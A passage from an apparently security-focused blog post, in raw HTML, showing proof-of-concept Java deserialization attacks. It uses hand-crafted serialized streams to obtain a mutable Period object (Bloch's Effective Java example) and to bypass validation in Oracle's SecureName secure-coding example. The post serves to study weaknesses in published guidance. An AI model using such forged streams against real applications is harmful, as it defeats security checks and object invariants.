CLASS="nb">033</SPAN> <br /><SPAN CLASS="nb">034</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> rewrite(InputStream is) {</SPAN><br /><SPAN CLASS="nb">035</SPAN> <SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.alternate = is;</SPAN><br /><SPAN CLASS="nb">036</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">037</SPAN> <br /><SPAN CLASS="nb">038</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br />With those out of the way, let's look at the cases in the same order of the last post.<br /><br /><span style="font-weight:bold;">1) Example from Joshua Bloch's Effective Java (Item 76):</span><br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> ser1;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ByteArrayOutputStream;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.IOException;</SPAN><br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ObjectInputStream;</SPAN><br /><SPAN CLASS="nb">006</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ObjectStreamConstants;</SPAN><br /><SPAN CLASS="nb">007</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.PrintStream;</SPAN><br /><SPAN CLASS="nb">008</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.util.Calendar;</SPAN><br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.util.Date;</SPAN><br /><SPAN CLASS="nb">010</SPAN> <br /><SPAN CLASS="nb">011</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> util.Converter;</SPAN><br /><SPAN CLASS="nb">012</SPAN> <br /><SPAN CLASS="nb">013</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> MutableDate </SPAN><SPAN CLASS="kw">extends</SPAN><SPAN CLASS="bl"> Date </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> ObjectStreamConstants {</SPAN><br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl"> serialVersionUID = 1L;</SPAN><br /><SPAN CLASS="nb">015</SPAN> <br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> Period period;</SPAN><br /><SPAN CLASS="nb">017</SPAN> <br /><SPAN CLASS="nb">018</SPAN> <SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> Object[] _DATA = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Object[] {</SPAN><br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="bl">STREAM_MAGIC, STREAM_VERSION, </SPAN><SPAN CLASS="cm">// stream headers</SPAN><br /><SPAN CLASS="nb">020</SPAN> <br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="bl">TC_OBJECT,</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="bl">TC_CLASSDESC,</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN CLASS="bl">Period.</SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl">.getName(), </SPAN><SPAN CLASS="cm">// A Period object</SPAN><br /><SPAN CLASS="nb">024</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl">) 7141649437422996369L, </SPAN><SPAN CLASS="cm">// serialVersionUID</SPAN><br /><SPAN CLASS="nb">025</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) 2, </SPAN><SPAN CLASS="cm">// classdesc flags</SPAN><br /><SPAN CLASS="nb">026</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">short</SPAN><SPAN CLASS="bl">) 2, </SPAN><SPAN CLASS="cm">// field count</SPAN><br /><SPAN CLASS="nb">027</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) </SPAN><SPAN CLASS="st">'L'</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="st">"start"</SPAN><SPAN CLASS="bl">, TC_STRING, </SPAN><SPAN CLASS="st">"Ljava/util/Date;"</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="cm">// start field</SPAN><br /><SPAN CLASS="nb">028</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) </SPAN><SPAN CLASS="st">'L'</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="st">"end"</SPAN><SPAN CLASS="bl">, TC_STRING, </SPAN><SPAN CLASS="st">"Ljava/util/Date;"</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="cm">// end field</SPAN><br /><SPAN CLASS="nb">029</SPAN> <SPAN CLASS="bl">TC_ENDBLOCKDATA,</SPAN><br /><SPAN CLASS="nb">030</SPAN> <SPAN CLASS="bl">TC_NULL, </SPAN><SPAN CLASS="cm">// no superclass</SPAN><br /><SPAN CLASS="nb">031</SPAN> <br /><SPAN CLASS="nb">032</SPAN> <SPAN CLASS="cm">// field value data</SPAN><br /><SPAN CLASS="nb">033</SPAN> <SPAN CLASS="bl">TC_OBJECT, </SPAN><SPAN CLASS="cm">// value for Period.start field</SPAN><br /><SPAN CLASS="nb">034</SPAN> <SPAN CLASS="bl">TC_CLASSDESC,</SPAN><br /><SPAN CLASS="nb">035</SPAN> <SPAN CLASS="bl">MutableDate.</SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl">.getName(), </SPAN><SPAN CLASS="cm">// MutableDate object</SPAN><br /><SPAN CLASS="nb">036</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl">) 1, </SPAN><SPAN CLASS="cm">// serialVersionUID</SPAN><br /><SPAN CLASS="nb">037</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) 2, </SPAN><SPAN CLASS="cm">// flags</SPAN><br /><SPAN CLASS="nb">038</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">short</SPAN><SPAN CLASS="bl">) 1, </SPAN><SPAN CLASS="cm">// field count</SPAN><br /><SPAN CLASS="nb">039</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) </SPAN><SPAN CLASS="st">'L'</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="st">"period"</SPAN><SPAN CLASS="bl">, TC_STRING, </SPAN><SPAN CLASS="st">"Lser1/Period;"</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="cm">// MutableDate.period</SPAN><br /><SPAN CLASS="nb">040</SPAN> <SPAN CLASS="bl">TC_ENDBLOCKDATA,</SPAN><br /><SPAN CLASS="nb">041</SPAN> <SPAN CLASS="bl">TC_NULL, </SPAN><SPAN CLASS="cm">// no superclass</SPAN><br /><SPAN CLASS="nb">042</SPAN> <br /><SPAN CLASS="nb">043</SPAN> <SPAN CLASS="bl">TC_REFERENCE, baseWireHandle + 3, </SPAN><SPAN CLASS="cm">// value for MutableDate.period</SPAN><br /><SPAN CLASS="nb">044</SPAN> <SPAN CLASS="cm">// which is a ref to the Period object defined above</SPAN><br /><SPAN CLASS="nb">045</SPAN> <SPAN CLASS="bl">TC_REFERENCE, baseWireHandle + 6, </SPAN><SPAN CLASS="cm">// value for Period.end</SPAN><br /><SPAN CLASS="nb">046</SPAN> <SPAN CLASS="cm">// which is a ref to the same MutableDate object defined above</SPAN><br /><SPAN CLASS="nb">047</SPAN> <SPAN CLASS="bl">};</SPAN><br /><SPAN CLASS="nb">048</SPAN> <br /><SPAN CLASS="nb">049</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> main(String[] args) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> Exception {</SPAN><br /><SPAN CLASS="nb">050</SPAN> <SPAN CLASS="bl">Converter.convert(_DATA).readObject();</SPAN><br /><SPAN CLASS="nb">051</SPAN> <SPAN CLASS="cm">// throw away the read object here, because after readObject returns</SPAN><br /><SPAN CLASS="nb">052</SPAN> <SPAN CLASS="cm">// it truly has become immutable and useless</SPAN><br /><SPAN CLASS="nb">053</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">054</SPAN> <br /><SPAN CLASS="nb">055</SPAN> <br /><SPAN CLASS="nb">056</SPAN> <SPAN CLASS="kw">volatile</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">int</SPAN><SPAN CLASS="bl"> pos = 0;</SPAN><br /><SPAN CLASS="nb">057</SPAN> <SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl">[] values = {</SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Date(2008-1900, Calendar.MAY, 1).getTime(),</SPAN><br /><SPAN CLASS="nb">058</SPAN> <SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Date(2009-1900, Calendar.JULY, 4).getTime(),</SPAN><br /><SPAN CLASS="nb">059</SPAN> <SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Date(2010-1900, Calendar.DECEMBER, 24).getTime(),</SPAN><br /><SPAN CLASS="nb">060</SPAN> <SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Date(2010-1900, Calendar.AUGUST, 8).getTime()};</SPAN><br /><SPAN CLASS="nb">061</SPAN> <br /><SPAN CLASS="nb">062</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl"> getTime() {</SPAN><br /><SPAN CLASS="nb">063</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (pos >= values.length) {</SPAN><br /><SPAN CLASS="nb">064</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> 0;</SPAN><br /><SPAN CLASS="nb">065</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">066</SPAN> <br /><SPAN CLASS="nb">067</SPAN> <SPAN CLASS="cm">// stack inspection</SPAN><br /><SPAN CLASS="nb">068</SPAN> <SPAN CLASS="bl">ByteArrayOutputStream baos = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> ByteArrayOutputStream();</SPAN><br /><SPAN CLASS="nb">069</SPAN> <SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Exception().printStackTrace(</SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> PrintStream(baos));</SPAN><br /><SPAN CLASS="nb">070</SPAN> <SPAN CLASS="kw">int</SPAN><SPAN CLASS="bl"> period = baos.toString().indexOf(</SPAN><SPAN CLASS="st">"Period."</SPAN><SPAN CLASS="bl">);</SPAN><br /><SPAN CLASS="nb">071</SPAN> <SPAN CLASS="kw">int</SPAN><SPAN CLASS="bl"> periodReadObject = baos.toString().indexOf(</SPAN><SPAN CLASS="st">"Period.readObject"</SPAN><SPAN CLASS="bl">);</SPAN><br /><SPAN CLASS="nb">072</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (period == periodReadObject) {</SPAN><br /><SPAN CLASS="nb">073</SPAN> <SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> Period mutable = </SPAN><SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.period;</SPAN><br /><SPAN CLASS="nb">074</SPAN> <SPAN CLASS="cm">// at this moment we hold a ref to a mutable Period - proof:</SPAN><br /><SPAN CLASS="nb">075</SPAN> <SPAN CLASS="bl">System.out.println(</SPAN><SPAN CLASS="st">"start: "</SPAN><SPAN CLASS="bl"> + mutable.start());</SPAN><br /><SPAN CLASS="nb">076</SPAN> <SPAN CLASS="bl">System.out.println(</SPAN><SPAN CLASS="st">"start: "</SPAN><SPAN CLASS="bl"> + mutable.start());</SPAN><br /><SPAN CLASS="nb">077</SPAN> <SPAN CLASS="bl">System.out.println(</SPAN><SPAN CLASS="st">"start: "</SPAN><SPAN CLASS="bl"> + mutable.start());</SPAN><br /><SPAN CLASS="nb">078</SPAN> <SPAN CLASS="bl">System.out.println(</SPAN><SPAN CLASS="st">"start: "</SPAN><SPAN CLASS="bl"> + mutable.start());</SPAN><br /><SPAN CLASS="nb">079</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">080</SPAN> <br /><SPAN CLASS="nb">081</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (pos >= values.length) {</SPAN><br /><SPAN CLASS="nb">082</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> 0;</SPAN><br /><SPAN CLASS="nb">083</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">084</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> values[pos++];</SPAN><br /><SPAN CLASS="nb">085</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">086</SPAN> <br /><SPAN CLASS="nb">087</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> readObject(ObjectInputStream s) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> IOException, ClassNotFoundException {</SPAN><br /><SPAN CLASS="nb">088</SPAN> <SPAN CLASS="bl">s.defaultReadObject();</SPAN><br /><SPAN CLASS="nb">089</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">090</SPAN> <br /><SPAN CLASS="nb">091</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br />Apologies for the bad readability of the code, the multiple re-entries into the getTime() method complicate things a bit.<br /><br />There are two objects in the serial data. An instance of Josh's Period class and an instance of a class defined here, MutableDate. The idea is that both the <span style="font-weight: bold;">start</span> and <span style="font-weight: bold;">end</span> fields of the Period object will be populated with the same MutableDate instance (it doesn't need to be the same, just being stingy on LOC). Eventually the Period.readObject method will replace these with immutable Date objects, but the idea is that we do our dirty bidding before that takes place. The Period.readObject calls Date.getTime() on our MutableDate instance which is stored in the start field. At this point all three fields; Period.start, Period.end and MutableDate.period have been initialized. We have control of the PeriodObject through an early cross reference in the MutableDate instance. As a proof of the mutability there are 4 consecutive calls to the Period.start() method whose output are printed, something like this:<br /><br />start: Thu May 01 00:00:00 BRT 2008<br />start: Sat Jul 04 00:00:00 BRT 2009<br />start: Fri Dec 24 00:00:00 BRST 2010<br />start: Sun Aug 08 00:00:00 BRT 2010<br /><br />Important note for those who might be at doubt: Joshua Bloch is not the problem. The serialization/deserialization SNAFU is.<br /><br /><span style="font-weight:bold;">2) Oracle Secure Coding guidelines (Guideline 5-4):</span><br /><br /><span style="font-weight:bold;">2a) Example 1</span><br /><br />As this class is pretty skinny on the details, I'll skip it. I'd have to add most of the logic to it and then one could argue that the code I added made it vulnerable.<br /><br /><span style="font-weight:bold;">2b) Example 2</span><br /><br />I added a few things to this class to make it more serially robust and to be able to better display it being manipulated, namely, a serialVersionUID and a toString method. Security-wise the class is still exactly as it is in the secure coding guidelines example:<br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> ser3;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.IOException;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> SecureName </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> java.io.Serializable {</SPAN><br /><SPAN CLASS="nb">006</SPAN> <br /><SPAN CLASS="nb">007</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl"> serialVersionUID = 3874641747845008981L;</SPAN><br /><SPAN CLASS="nb">008</SPAN> <br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="cm">// private internal state</SPAN><br /><SPAN CLASS="nb">010</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> String name;</SPAN><br /><SPAN CLASS="nb">011</SPAN> <br /><SPAN CLASS="nb">012</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> String DEFAULT = </SPAN><SPAN CLASS="st">"DEFAULT"</SPAN><SPAN CLASS="bl">;</SPAN><br /><SPAN CLASS="nb">013</SPAN> <br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> SecureName() {</SPAN><br /><SPAN CLASS="nb">015</SPAN> <SPAN CLASS="cm">// initialize name to default value</SPAN><br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="bl">name = DEFAULT;</SPAN><br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">018</SPAN> <br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="cm">// allow callers to modify private internal state</SPAN><br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> setName(String name) {</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (name != </SPAN><SPAN CLASS="kw">null</SPAN><SPAN CLASS="bl"> ? name.equals(</SPAN><SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.name) : (</SPAN><SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.name == </SPAN><SPAN CLASS="kw">null</SPAN><SPAN CLASS="bl">)) {</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="cm">// no change - do nothing</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl">;</SPAN><br /><SPAN CLASS="nb">024</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">else</SPAN><SPAN CLASS="bl"> {</SPAN><br /><SPAN CLASS="nb">025</SPAN> <SPAN CLASS="cm">// permission needed to modify name</SPAN><br /><SPAN CLASS="nb">026</SPAN> <SPAN CLASS="bl">securityManagerCheck();</SPAN><br /><SPAN CLASS="nb">027</SPAN> <br /><SPAN CLASS="nb">028</SPAN> <SPAN CLASS="bl">inputValidation(name);</SPAN><br /><SPAN CLASS="nb">029</SPAN> <br /><SPAN CLASS="nb">030</SPAN> <SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.name = name;</SPAN><br /><SPAN CLASS="nb">031</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">032</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">033</SPAN> <br /><SPAN CLASS="nb">034</SPAN> <SPAN CLASS="cm">// implement readObject to enforce checks during deserialization</SPAN><br /><SPAN CLASS="nb">035</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> readObject(java.io.ObjectInputStream in) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> ClassNotFoundException, IOException {</SPAN><br /><SPAN CLASS="nb">036</SPAN> <SPAN CLASS="bl">java.io.ObjectInputStream.GetField fields = in.readFields();</SPAN><br /><SPAN CLASS="nb">037</SPAN> <SPAN CLASS="bl">String name = (String) fields.get(</SPAN><SPAN CLASS="st">"name"</SPAN><SPAN CLASS="bl">, DEFAULT);</SPAN><br /><SPAN CLASS="nb">038</SPAN> <br /><SPAN CLASS="nb">039</SPAN> <SPAN CLASS="cm">// if the deserialized name does not match the default value normally</SPAN><br /><SPAN CLASS="nb">040</SPAN> <SPAN CLASS="cm">// created at construction time, duplicate checks</SPAN><br /><SPAN CLASS="nb">041</SPAN> <br /><SPAN CLASS="nb">042</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (!DEFAULT.equals(name)) {</SPAN><br /><SPAN CLASS="nb">043</SPAN> <SPAN CLASS="bl">securityManagerCheck();</SPAN><br /><SPAN CLASS="nb">044</SPAN> <SPAN CLASS="bl">inputValidation(name);</SPAN><br /><SPAN CLASS="nb">045</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">046</SPAN> <SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.name = name;</SPAN><br /><SPAN CLASS="nb">047</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">048</SPAN> <br /><SPAN CLASS="nb">049</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> inputValidation(String name2) {</SPAN><br /><SPAN CLASS="nb">050</SPAN> <SPAN CLASS="cm">// code omitted</SPAN><br /><SPAN CLASS="nb">051</SPAN> <SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">throw</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> SecurityException(</SPAN><SPAN CLASS="st">"not allowed"</SPAN><SPAN CLASS="bl">);</SPAN><br /><SPAN CLASS="nb">052</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">053</SPAN> <br /><SPAN CLASS="nb">054</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> securityManagerCheck() {</SPAN><br /><SPAN CLASS="nb">055</SPAN> <SPAN CLASS="cm">// code omitted</SPAN><br /><SPAN CLASS="nb">056</SPAN> <SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">throw</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> SecurityException(</SPAN><SPAN CLASS="st">"not allowed"</SPAN><SPAN CLASS="bl">);</SPAN><br /><SPAN CLASS="nb">057</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">058</SPAN> <br /><SPAN CLASS="nb">059</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> String toString() {</SPAN><br /><SPAN CLASS="nb">060</SPAN> <SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="st">"SecureName: "</SPAN><SPAN CLASS="bl"> + </SPAN><SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.name;</SPAN><br /><SPAN CLASS="nb">061</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">062</SPAN> <br /><SPAN CLASS="nb">063</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br />And to break it:<br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> ser3;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.IOException;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.NotActiveException;</SPAN><br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ObjectInputStream;</SPAN><br /><SPAN CLASS="nb">006</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ObjectStreamConstants;</SPAN><br /><SPAN CLASS="nb">007</SPAN> <br /><SPAN CLASS="nb">008</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> util.Converter;</SPAN><br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> util.EvilSplitStream;</SPAN><br /><SPAN CLASS="nb">010</SPAN> <br /><SPAN CLASS="nb">011</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> App </SPAN><SPAN CLASS="kw">implements</SPAN><SPAN CLASS="bl"> ObjectStreamConstants {</SPAN><br /><SPAN CLASS="nb">012</SPAN> <br /><SPAN CLASS="nb">013</SPAN> <SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">final</SPAN><SPAN CLASS="bl"> Object[] _DATA = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Object[] {</SPAN><br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="bl">STREAM_MAGIC, STREAM_VERSION, </SPAN><SPAN CLASS="cm">// stream headers</SPAN><br /><SPAN CLASS="nb">015</SPAN> <br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="bl">TC_OBJECT,</SPAN><br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="bl">TC_CLASSDESC,</SPAN><br /><SPAN CLASS="nb">018</SPAN> <SPAN CLASS="bl">SecureName.</SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl">.getName(), </SPAN><SPAN CLASS="cm">// A Period object</SPAN><br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">long</SPAN><SPAN CLASS="bl">) 3874641747845008981L, </SPAN><SPAN CLASS="cm">// serialVersionUID</SPAN><br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) 3, </SPAN><SPAN CLASS="cm">// classdesc flags</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">short</SPAN><SPAN CLASS="bl">) 1, </SPAN><SPAN CLASS="cm">// field count</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="bl">(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">) </SPAN><SPAN CLASS="st">'L'</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="st">"name"</SPAN><SPAN CLASS="bl">, TC_STRING, </SPAN><SPAN CLASS="st">"Ljava/lang/String;"</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="cm">// start field</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN CLASS="bl">TC_ENDBLOCKDATA,</SPAN><br /><SPAN CLASS="nb">024</SPAN> <SPAN CLASS="bl">TC_NULL, </SPAN><SPAN CLASS="cm">// no superclass</SPAN><br /><SPAN CLASS="nb">025</SPAN> <br /><SPAN CLASS="nb">026</SPAN> <SPAN CLASS="cm">// field value data</SPAN><br /><SPAN CLASS="nb">027</SPAN> <SPAN CLASS="bl">TC_STRING, </SPAN><SPAN CLASS="st">"EVIL"</SPAN><SPAN CLASS="bl">, </SPAN><SPAN CLASS="cm">// value for SecureName.name</SPAN><br /><SPAN CLASS="nb">028</SPAN> <SPAN CLASS="bl">};</SPAN><br /><SPAN CLASS="nb">029</SPAN> <br /><SPAN CLASS="nb">030</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> SecureName evilName = </SPAN><SPAN CLASS="kw">null</SPAN><SPAN CLASS="bl">;</SPAN><br /><SPAN CLASS="nb">031</SPAN> <br /><SPAN CLASS="nb">032</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> main(String[] args) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> Exception {</SPAN><br /><SPAN 